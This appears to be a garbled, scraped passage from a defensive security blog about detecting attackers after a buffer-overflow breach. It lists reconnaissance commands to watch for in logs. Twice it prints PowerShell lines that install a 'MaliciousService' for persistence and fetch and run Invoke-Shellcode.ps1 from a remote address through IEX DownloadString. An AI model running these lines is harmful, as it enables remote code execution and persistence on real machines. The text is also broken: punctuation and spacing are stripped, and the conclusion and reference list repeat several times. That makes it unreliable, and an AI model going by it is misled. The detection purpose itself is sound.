start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors